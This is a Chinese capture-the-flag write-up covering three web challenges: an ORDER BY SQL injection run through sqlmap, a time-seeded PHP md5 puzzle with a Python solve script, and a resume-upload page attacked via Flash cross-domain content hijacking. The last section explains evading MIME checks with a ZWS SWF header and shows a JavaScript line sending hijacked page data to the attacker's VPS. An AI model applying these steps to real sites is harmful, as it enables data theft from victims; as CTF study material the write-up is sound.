大概还行,虽然有很多奇奇怪怪的地方
order
order注入,丢sqlmap 直接跑出结果
就这么直接
给了个源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php $key = "********"; srand(time());
$a = rand(0,100); $b = rand(0,100); $c = rand(0,100); $d = rand(0,100); $e = rand(0,100);
$result = ((($a - $b)/$c)+$d) * $e; $result = md5($key.$result.$key); show_source(__FILE__); ?>
|
然后一个提交页面,然后我还以为是什么绕过,然后还猜弱类型,搞了半天做不出来,看了wp发现也是神奇好吧,它是用时间种子生成随机数然后加盐md5,随机提交一个md5的值就可以在源码里获得加密结果,然后再把结果提交就好了,打扰了,确实没看懂这个出题思路好吧..
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13
| import requests import re from bs4 import BeautifulSoup url="http://101.71.29.5:10003/flag.php" data={"answer":"0e342768416822451524974117254469"} r=requests.post(url,data=data) soup=BeautifulSoup(r.text,'lxml') print(soup.p) md5=re.findall(r"<!--(.*?)-->",str(soup.p)) data=md5[0] data={"answer":data} r=requests.post(url,data=data) print(r.text)
|
简历来了
开始走错了路,想传shell,但其实传不了,源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90
| <?php require_once('init.php'); header("Content-type: text/html; charset=utf-8"); if(isset($_POST['submit'])){ if(!z_validate_captcha()){ die('验证码错误'); } $email = isset($_POST['email'])?trim($_POST['email']):''; $url = isset($_POST['url'])?trim($_POST['url']):''; $file = isset($_FILES['file'])?$_FILES['file']:false; if($email == false $url == false $file == false){ die('Invalid Input'); }
if(!filter_var($email, FILTER_VALIDATE_EMAIL)){ die('Invalid Email'); }
if(!filter_var($url, FILTER_VALIDATE_URL) (strpos($url, 'http://') !== 0 && strpos($url, 'https://') !== 0)){ die('Invalid URL'); }
if($file['error'] $file['size'] > 1024*1024 !is_uploaded_file($file['tmp_name'])){ die('Invalid File'); }
$ext = getExt($file['name']);
if(!in_array($ext, array('.jpg','.jpeg', '.png', '.docx', '.doc'))){ die('Invalid File Type'); }
$file_checked = false; if(in_array($ext, array('.jpg','.jpeg', '.png'))){ $finfo = finfo_open(FILEINFO_MIME); if (!$finfo) { die("Opening fileinfo database failed"); } $mime = finfo_file($finfo, $file["tmp_name"]); finfo_close($finfo); if($mime == false){ die('Invalid Filename'); } $arr = explode(';', $mime); $mime = $arr[0]; if($mime == false !in_array($mime, array('image/gif', 'image/jpeg', 'image/jpg', 'image/png', 'application/octet-stream'))){ die('Invalid Filename'); }else{ $file_checked = true; } }elseif(in_array($ext, array('.docx', '.doc'))){ $finfo = finfo_open(FILEINFO_MIME); if (!$finfo) { die("Opening fileinfo database failed"); } $mime = finfo_file($finfo, $file["tmp_name"]); finfo_close($finfo); if($mime == false){ die('Invalid Filename'); } $arr = explode(';', $mime); $mime = $arr[0]; if($mime == false !in_array($mime, array('application/msword','application/word', 'application/vnd.openxmlformats-officedocument.wordprocessingml.document'))){ die('Invalid Filename'); }else{ $file_checked = true; } }
if($file_checked !== true){ die('Invalid File Type'); }
$filename = './upload/'.md5(mt_rand().microtime()).$ext;
move_uploaded_file($file["tmp_name"], $filename);
if(!file_exists($filename)){ echo '上传失败'; }else{ save_resume($email, $url, $filename); echo "<br/>提交成功:"; echo "<br/>邮箱:".htmlspecialchars($email); echo "<br/>个人网站:".htmlspecialchars($url); echo "<br/>简历地址:".htmlspecialchars($filename); echo "<br/><br/><br/>"; } }
show_source(__FILE__);
|
这里其实是个csrf,我也真是鲸了,我确实有测试链接那个地方有没有bot来访问,但是没有!没有!这个题卡了我两天...
好吧,不过其实就算知道这里会有bot来访问我这道题可能也解不出来,因为考到了一个我并不会的点,这里重点记录一下:Flash跨域数据劫持漏洞
这个漏洞讲的大致如下:
当某站点存在上传点且并没有检查文件内容的时候,我们就可以上传一个flash文件,然后后缀使用可以上传的后缀,比如jpg之类的,然后核心部分是object标签在包含flash文件时没有对嵌入的文件后缀进行判断。也就是说,只要文件内容包含了正常的flash文件代码,就能够被object标签成功加载并执行。而ActionScript中又有很多api可以让flash发送网络请求,这就可以将flash传到目标域然后构造恶意代码获取某些页面了,具体看题。
很坑爹的一道题,主要是利用了github上一个CSRF项目:https://github.com/nccgroup/CrossSiteContentHijacking
限制了邮箱、URL格式,文件大小。以及上传的文件类型和MIME类型。无法绕过上传PHP文件或者利用文件包含上传图片马
第一个点:flash的三种文件头:CWS,FWS,ZWS[最新的]
由于ZWS是新兴的文件格式,php暂时不支持,所以php在解析cws和fws格式的时候会解析成application/x-shockwave-flash;但是解析zws的时候会变成application/octet-stream从而绕过MIME限制。
扫目录发现admin目录,需要管理员才能看flag.那么思路就明确了,我们可以先传一个flash文件上去,然后自己在vps上构造一个攻击页面来加载服务器上的flash,然后填到博客栏让bot去访问,bot访问之后触发flash文件从而打到admin下的flag然后返回到我们的服务器.
具体操作
克隆一下前面提到的github的那个项目,然后找到ContentHijacking.swf,将文件头改成ZWS
然后传到服务器,记录传的路径,然后ContentHijackingLoader.html里面125行左右加上一段代码new
Image的代码
1
| new Image().src='http://your_vps/xxx.php'+encodeURIComponent(strData)
|
然后vps上面打开ContentHijackingLoader.html,填写一下flash的地址和攻击地址,然后生成payload
生成之后提交上去就可以在vps收到flag了
这个都是别人写的,环境已经关了,简单记录下 参考链接: https://liuxianglai.github.io/2018/06/26/%E5%AE%89%E6%81%92%E6%9D%AF%E6%9C%88%E8%B5%9BWrite-up/
http://www.freebuf.com/articles/web/35353.html